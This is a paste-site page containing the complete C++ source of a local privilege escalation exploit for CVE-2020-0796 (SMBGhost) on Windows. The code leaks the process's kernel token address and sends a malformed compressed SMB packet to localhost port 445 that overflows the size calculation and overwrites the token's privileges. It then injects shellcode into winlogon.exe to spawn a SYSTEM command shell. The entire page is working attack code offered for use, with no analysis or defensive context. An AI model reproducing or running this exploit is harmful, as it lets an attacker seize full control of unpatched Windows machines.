W0rMz000 icon

CVE-2020-0796 LPE

W0rMz000 | PRO | 11/03/20 01:50:29 PM UTC | 0 ⭐ | 2271 👁️ | Never ⏰ | []
C++ |

10.93 KB

|

None

|

0 👍

/

0 👎

/*
 * CVE-2020-0796 LPE
 * 
 * Daniel Garcia Gutierrez (@danigargu) - danigargu[at]gmail.com
 * Manuel Blanco Parajon (@dialluvioso) - dialluvioso[at]protonmail.com
 * Date: 03/29/2020
 *
 **/
 
#include <stdio.h>
#include <stdint.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <TlHelp32.h>
#include "ntos.h"
 
#pragma comment(lib, "ws2_32.lib")
 
ULONG64 get_handle_addr(HANDLE h) {
    ULONG len = 20;
    NTSTATUS status = (NTSTATUS)0xc0000004;
    PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
    do {
        len *= 2;
        pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
        status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len);
    } while (status == (NTSTATUS)0xc0000004);
 
    if (status != (NTSTATUS)0x0) {
        printf("NtQuerySystemInformation() failed with error: %#x\n", status);
        return 1;
    }
 
    DWORD mypid = GetProcessId(GetCurrentProcess());
    ULONG64 ptrs[1000] = { 0 };
    for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) {
        PVOID object = pHandleInfo->Handles[i].Object;
        ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue;
        DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId;
        if (pid != mypid)
            continue;
        if (handle == (ULONG_PTR)h)
            return (ULONG64)object;
    }
    return -1;
}
 
ULONG64 get_process_token() {
    HANDLE token;
    HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
    if (proc == INVALID_HANDLE_VALUE)
        return 0;
 
    OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token);
    ULONG64 ktoken = get_handle_addr(token);
 
    return ktoken;
}
 
int error_exit(SOCKET sock, const char* msg) {
    int err;
    if (msg != NULL) {
        printf("%s failed with error: %d\n", msg, WSAGetLastError());
    }
    if ((err = closesocket(sock)) == SOCKET_ERROR) {
        printf("closesocket() failed with error: %d\n", WSAGetLastError());
    }
    WSACleanup();
    return EXIT_FAILURE;
}
 
int send_negotiation(SOCKET sock) {
    int err = 0;
    char response[8] = { 0 };
 
    const uint8_t buf[] = {
        /* NetBIOS Wrapper */
        0x00,                   /* session */
        0x00, 0x00, 0xC4,       /* length */
 
        /* SMB Header */
        0xFE, 0x53, 0x4D, 0x42, /* protocol id */
        0x40, 0x00,             /* structure size, must be 0x40 */
        0x00, 0x00,             /* credit charge */
        0x00, 0x00,             /* channel sequence */
        0x00, 0x00,             /* channel reserved */
        0x00, 0x00,             /* command */
        0x00, 0x00,             /* credits requested */
        0x00, 0x00, 0x00, 0x00, /* flags */
        0x00, 0x00, 0x00, 0x00, /* chain offset */
        0x00, 0x00, 0x00, 0x00, /* message id */
        0x00, 0x00, 0x00, 0x00, 
        0x00, 0x00, 0x00, 0x00, /* reserved */
        0x00, 0x00, 0x00, 0x00, /* tree id */
        0x00, 0x00, 0x00, 0x00, /* session id */
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, /* signature */
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
 
        /* SMB Negotiation Request */
        0x24, 0x00,             /* structure size */
        0x08, 0x00,             /* dialect count, 8 */
        0x00, 0x00,             /* security mode */
        0x00, 0x00,             /* reserved */
        0x7F, 0x00, 0x00, 0x00, /* capabilities */
        0x01, 0x02, 0xAB, 0xCD, /* guid */
        0x01, 0x02, 0xAB, 0xCD,
        0x01, 0x02, 0xAB, 0xCD,
        0x01, 0x02, 0xAB, 0xCD,
        0x78, 0x00,             /* negotiate context */
        0x00, 0x00,             /* additional padding */
        0x02, 0x00,             /* negotiate context count */
        0x00, 0x00,             /* reserved 2 */
        0x02, 0x02,             /* dialects, SMB 2.0.2 */
        0x10, 0x02,             /* SMB 2.1 */
        0x22, 0x02,             /* SMB 2.2.2 */
        0x24, 0x02,             /* SMB 2.2.3 */
        0x00, 0x03,             /* SMB 3.0 */
        0x02, 0x03,             /* SMB 3.0.2 */
        0x10, 0x03,             /* SMB 3.0.1 */
        0x11, 0x03,             /* SMB 3.1.1 */
        0x00, 0x00, 0x00, 0x00, /* padding */
 
        /* Preauth context */
        0x01, 0x00,             /* type */
        0x26, 0x00,             /* length */
        0x00, 0x00, 0x00, 0x00, /* reserved */
        0x01, 0x00,             /* hash algorithm count */
        0x20, 0x00,             /* salt length */
        0x01, 0x00,             /* hash algorith, SHA512 */
        0x00, 0x00, 0x00, 0x00, /* salt */
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00,             /* pad */
 
        /* Compression context */
        0x03, 0x00,             /* type */
        0x0E, 0x00,             /* length */
        0x00, 0x00, 0x00, 0x00, /* reserved */
        0x02, 0x00,             /* compression algorithm count */
        0x00, 0x00,             /* padding */
        0x01, 0x00, 0x00, 0x00, /* flags */
        0x02, 0x00,             /* LZ77 */
        0x03, 0x00,             /* LZ77+Huffman */
        0x00, 0x00, 0x00, 0x00, /* padding */
        0x00, 0x00, 0x00, 0x00
    };
    
    if ((err = send(sock, (const char *)buf, sizeof(buf), 0)) != SOCKET_ERROR) {
        recv(sock, response, sizeof(response), 0); 
    }
 
    return err;
}
 
int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {
    int err = 0;
    char response[8] = { 0 };
 
    const uint8_t buf[] = {
        /* NetBIOS Wrapper */
        0x00,
        0x00, 0x00, 0x33,
 
        /* SMB Header */
        0xFC, 0x53, 0x4D, 0x42, /* protocol id */
        0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
        0x02, 0x00,             /* compression algorithm, LZ77 */
        0x00, 0x00,             /* flags */
        0x10, 0x00, 0x00, 0x00, /* offset */
    };
 
    uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len);
    if (packet == NULL) {
        printf("Couldn't allocate memory with malloc()\n");
        return error_exit(sock, NULL);
    }
 
    memcpy(packet, buf, sizeof(buf));
    *(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
    *(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
    memcpy(packet + sizeof(buf) + 0x10, buffer, len);
 
    if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {
        recv(sock, response, sizeof(response), 0);
    }
 
    free(packet);
    return err;
}
 
void inject(void) {
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);
 
    uint8_t shellcode[] = {
         0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x54,
         0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,
         0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,
         0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,
         0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
         0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,
         0xff, 0xc2, // inc edx (1 = SW_SHOW)
         0xFF, 0xD7, 0x48, 0x83, 0xC4,
         0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 0x00
    };
 
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
 
    int pid = -1;
    if (Process32First(snapshot, &entry) == TRUE) {
        while (Process32Next(snapshot, &entry) == TRUE) {
            if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) {
                pid = entry.th32ProcessID;
                break;
            }
        }
    }
    CloseHandle(snapshot);
 
    if (pid < 0) {
        printf("Could not find process\n");
        return;
    }
    printf("Injecting shellcode in winlogon...\n");
 
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (hProc == NULL) {
        printf("Could not open process\n");
        return;
    }
 
    LPVOID lpMem = VirtualAllocEx(hProc, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpMem == NULL) {
        printf("Remote allocation failed\n");
        return;
    }       
    if (!WriteProcessMemory(hProc, lpMem, shellcode, sizeof(shellcode), 0)) {
        printf("Remote write failed\n");
        return;
    }   
    if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) {
        printf("CreateRemoteThread failed\n");
        return;
    }
 
    printf("Success! ;)\n");
}
 
int main(int argc, char* argv[]) {
    WORD wVersionRequested = MAKEWORD(2, 2);
    WSADATA wsaData = { 0 };
    SOCKET sock = INVALID_SOCKET;
    uint64_t ktoken = 0;
 
    int err = 0;
 
    printf("-= CVE-2020-0796 LPE =-\n");
    printf("by @danigargu and @dialluvioso_\n\n");
 
    if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) {
        printf("WSAStartup() failed with error: %d\n", err);
        return EXIT_FAILURE;
    }
 
    if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
        printf("Couldn't find a usable version of Winsock.dll\n");
        WSACleanup();
        return EXIT_FAILURE;
    }
 
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock == INVALID_SOCKET) {
        printf("socket() failed with error: %d\n", WSAGetLastError());
        WSACleanup();
        return EXIT_FAILURE;
    }
 
    sockaddr_in client;
    client.sin_family = AF_INET;
    client.sin_port = htons(445);
    InetPton(AF_INET, "127.0.0.1", &client.sin_addr);
 
    if (connect(sock, (sockaddr*)& client, sizeof(client)) == SOCKET_ERROR) {
        return error_exit(sock, "connect()");
    }
 
    printf("Successfully connected socket descriptor: %d\n", (int)sock);
    printf("Sending SMB negotiation request...\n");
 
    if (send_negotiation(sock) == SOCKET_ERROR) {
        printf("Couldn't finish SMB negotiation\n");
        return error_exit(sock, "send()");
    }
 
    printf("Finished SMB negotiation\n");
    ULONG buffer_size = 0x1110;
    UCHAR *buffer = (UCHAR *)malloc(buffer_size);
    if (buffer == NULL) {
        printf("Couldn't allocate memory with malloc()\n");
        return error_exit(sock, NULL);
    }
 
    ktoken = get_process_token();
    if (ktoken == -1) {
        printf("Couldn't leak ktoken of current process...\n");
        return EXIT_FAILURE;
    }
 
    printf("Found kernel token at %#llx\n", ktoken);
 
    memset(buffer, 'A', 0x1108);
    *(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */
 
    ULONG CompressBufferWorkSpaceSize = 0;
    ULONG CompressFragmentWorkSpaceSize = 0;
    err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS, 
        &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize);
 
    if (err != STATUS_SUCCESS) {
        printf("RtlGetCompressionWorkSpaceSize() failed with error: %d\n", err);
        return error_exit(sock, NULL);
    }
 
    ULONG FinalCompressedSize;
    UCHAR compressed_buffer[64];
    LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize);
    if (lpWorkSpace == NULL) {
        printf("Couldn't allocate memory with malloc()\n");
        return error_exit(sock, NULL);
    }
 
    err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,
        compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);
 
    if (err != STATUS_SUCCESS) {
        printf("RtlCompressBuffer() failed with error: %#x\n", err);
        free(lpWorkSpace);
        return error_exit(sock, NULL);
    }
    
    printf("Sending compressed buffer...\n");
 
    if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {
        return error_exit(sock, "send()");
    }
 
    printf("SEP_TOKEN_PRIVILEGES changed\n");
    inject();
 
    WSACleanup();
    return EXIT_SUCCESS;
}

Comments